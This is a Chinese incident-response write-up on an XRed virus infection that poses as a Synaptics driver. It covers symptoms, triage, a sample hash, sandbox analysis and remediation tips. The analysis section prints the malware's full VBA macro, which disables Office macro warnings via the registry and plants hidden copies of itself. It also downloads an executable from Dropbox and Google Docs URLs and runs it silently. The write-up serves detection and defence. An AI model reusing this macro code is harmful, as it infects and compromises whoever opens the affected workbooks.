記一次XRed病毒攻擊應急分析 - 網安 - 專業的網絡安全產業、社區、知識平臺

0x00序言

在日常工作中，如果辦公電腦或者個人PC有以下兩個方面的異常行為，則大概率已經中招XRed病毒，它屬于AutoRun家族。具體情況如下：

1．打開xlsx電子表格文件，會提示宏并且文件內容也會改變，最關鍵的一個特點是關閉電子表格文件會進行后綴名的改變。（xlsx--xlsm）

2. 在DNS請求流量中會有該惡意域名（xred.mooo.com）解析請求記錄，周期為每10分鐘一次。

0x01事件起因

被通知個人PC發現DNS異常解析行為，定位終端（IP）進行問題排查。

0x02應急排查

定位到具體的終端，發現是一臺windows10虛擬機，進行了網絡及進程、注冊表、啟動項等相關排查，除了有DNS的異常解析行為（每10分鐘一次）再無其他的影響。具體排查如下：

1.通過進程的異常分析，發現該病毒偽裝成“Synaptics觸摸板驅動程序”。

2.對父進程進行追蹤查找并進行kill，從而提取到該病毒樣本。（在提取過程中注意打開顯示隱藏文件）

3.然后使用火絨進行全面查殺，并無發現風險。

0x03樣本分析

提取病毒樣本，進行下一步分析。具體流程如下：

1.使用IDA工具查文件的基礎信息

MD5: FBA313D7C15B420EE31C263E79EA90A7

2.使用Strings查看程序包含的字符信息

3.獲取這些基礎信息，通過奇安信、360、微步在線云沙箱自動化分析。

奇安信沙箱

360沙箱

微步沙箱

4.樣本運行詳細過程

主機行為

進程行為

網絡行為

5.通過對樣本的自動化分析，已經獲取了了很多關鍵信息，獲取宏代碼如下

Dim SheetsChanged As BooleanDim SheetCount As Integer
Private Sub Workbook_Open()  Dim i As Integer  For i = 1 To ActiveWorkbook.Sheets.Count    ActiveWorkbook.Sheets(i).Visible = xlSheetVisible  Next i    RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"  RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"    Application.DisplayAlerts = False  SheetCount = Worksheets.Count    Call MPS    ActiveWorkbook.Sheets(1).Select  SheetsChanged = FalseEnd Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)  If Not SheetsChanged Then    ActiveWorkbook.Saved = True  End IfEnd Sub
Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)  SheetsChanged = TrueEnd Sub
Private Sub Workbook_NewSheet(ByVal Sh As Object)  SheetsChanged = TrueEnd Sub
Private Sub Workbook_SheetActivate(ByVal Sh As Object)  If ActiveWorkbook.Sheets.Count <> SheetCount Then    SheetsChanged = True    SheetCount = ActiveWorkbook.Sheets.Count  End IfEnd Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)  Dim i As Integer  Dim AIndex As Integer  Dim FName
  AIndex = ActiveWorkbook.ActiveSheet.Index
  If SaveAsUI = False Then    Cancel = True    Application.EnableEvents = False    Application.ScreenUpdating = False        For i = 1 To ActiveWorkbook.Sheets.Count - 1      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden    Next i    ActiveWorkbook.Save          For i = 1 To ActiveWorkbook.Sheets.Count      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible    Next i    ActiveWorkbook.Sheets(AIndex).Select    SheetsChanged = False        Application.ScreenUpdating = True    Application.EnableEvents = True  Else    Cancel = True    Application.EnableEvents = False    Application.ScreenUpdating = False        For i = 1 To ActiveWorkbook.Sheets.Count - 1      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden    Next i        FName = Application.GetSaveAsFilename(fileFilter:="Excel ?al??ma Kitab? (*.xlsm), *.xlsm")    If FName <> False Then      ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled      SaveAsInj ActiveWorkbook.Path    End If        For i = 1 To ActiveWorkbook.Sheets.Count      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible    Next i    ActiveWorkbook.Sheets(AIndex).Select    SheetsChanged = False            Application.ScreenUpdating = True    Application.EnableEvents = True  End IfEnd Sub
Sub SaveAsInj(DIR As String)  Dim FSO As Object  Dim FN As String    Set FSO = CreateObject("scripting.filesystemobject")  FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"    If FSO.FileExists(FN) Then    If Not FSO.FileExists(DIR & "\~$cache1") Then      FileCopy FN, DIR & "\~$cache1"    End If    SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem  End IfEnd Sub
Function RegKeyRead(i_RegKey As String) As String  Dim myWS As Object
  On Error Resume Next  Set myWS = CreateObject("WScript.Shell")  RegKeyRead = myWS.RegRead(i_RegKey)End Function
Function RegKeyExists(i_RegKey As String) As BooleanDim myWS As Object
  On Error GoTo ErrorHandler  Set myWS = CreateObject("WScript.Shell")  myWS.RegRead i_RegKey  RegKeyExists = True  Exit Function  ErrorHandler:  RegKeyExists = FalseEnd Function
Sub RegKeySave(i_RegKey As String, _               i_Value As String, _      Optional i_Type As String = "REG_SZ")Dim myWS As Object
  Set myWS = CreateObject("WScript.Shell")  myWS.RegWrite i_RegKey, i_Value, i_TypeEnd Sub
Sub MPS()  Dim FSO As Object  Dim FP(1 To 3), TMP, URL(1 To 3) As String    Set FSO = CreateObject("scripting.filesystemobject")  FP(1) = ActiveWorkbook.Path & "\~$cache1"  FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"
  URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"  URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"  URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"  TMP = Environ("Temp") & "\~$cache1.exe"    If FSO.FileExists(FP(1)) Then    If Not FSO.FileExists(TMP) Then      FileCopy FP(1), TMP    End If    Shell TMP, vbHide  ElseIf FSO.FileExists(FP(2)) Then    If Not FSO.FileExists(TMP) Then      FileCopy FP(2), TMP    End If    Shell TMP, vbHide  Else    If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then      Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide    ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then      Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide    ElseIf Not FSO.FileExists(TMP) Then      If FDW((URL(1)), (TMP)) Then      ElseIf FDW((URL(2)), (TMP)) Then      ElseIf FDW((URL(3)), (TMP)) Then      End If      If FSO.FileExists(TMP) Then        Shell TMP, vbHide      End If    Else      Shell TMP, vbHide    End If      End If  End Sub
Function FDW(MYU, NMA As String) As Boolean  Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")  If WinHttpReq Is Nothing Then    Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")  End If
  WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"  WinHttpReq.Option(6) = AllowRedirects  WinHttpReq.Open "GET", MYU, False  WinHttpReq.Send    If (WinHttpReq.Status = 200) Then    If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then      FDW = True      Set oStream = CreateObject("ADODB.Stream")      oStream.Open      oStream.Type = 1      oStream.Write WinHttpReq.ResponseBody      oStream.SaveToFile (NMA)      oStream.Close    Else       FDW = False    End If  Else    FDW = False  End IfEnd Function

0x04病毒歸類

通過全流量留存或者進行數據包捕獲，然后使用彌天實驗室開發的dga惡意域名檢測工具進行家族歸類和受害主機定位。

這里使用的是沙箱運行留存的數據包，具體使用效果如下：

（工具使用和下載請參見HVV之基于360數據的dga惡意域名檢測工具：

https://mp.weixin.qq.com/s/EPiQY_8i4LWP_S3aaX2yYw）

0x05修復建議

安裝殺毒軟件，定期升級病毒庫
不要點擊來源不明的郵件以及附件和鏈接
打全系統及應用程序補丁并及時更新
采用高強度的密碼，避免使用弱口令密碼，并定期更換密碼（終端基線）
盡量關閉不必要的文件共享
提升安全意識